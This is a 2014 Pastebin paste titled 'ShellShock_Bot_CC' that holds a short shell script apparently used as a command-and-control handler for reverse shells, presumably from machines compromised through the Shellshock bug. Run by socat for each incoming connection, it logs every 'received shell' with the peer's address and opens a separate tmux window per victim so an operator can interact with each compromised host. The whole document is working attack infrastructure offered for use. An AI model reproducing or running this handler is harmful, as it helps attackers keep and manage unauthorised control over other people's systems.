Advertisement
_d3f4ult

[+] ShellShock_Bot_CC [+]

Oct 6th, 2014
1,568
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.50 KB | None | 0 0
  1. #!/bin/sh
  2. tmux has-session -t ShellShock_Bot 2>/dev/null \
  3. || tmux new-session -d -s ShellShock_Bot "cat>/dev/null" \; rename-window info
  4. tmux send-keys -t ShellShock_Bot:info "$(date '+%Y-%m-%d %H:%M:%S') Received a shell from $SOCAT_PEERADDR" Enter
  5. mkdir /tmp/ShellShock_Bot 2>/dev/null
  6. tmux new-window -d -t ShellShock_Bot -n "$SOCAT_PEERADDR" \
  7. "sleep 1; stty -echo raw; socat unix-client:/tmp/ShellShock_Bot/$$.sock -; stty sane; echo; echo EOF; read"
  8. socat unix-listen:/tmp/ShellShock_Bot/$$.sock -
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement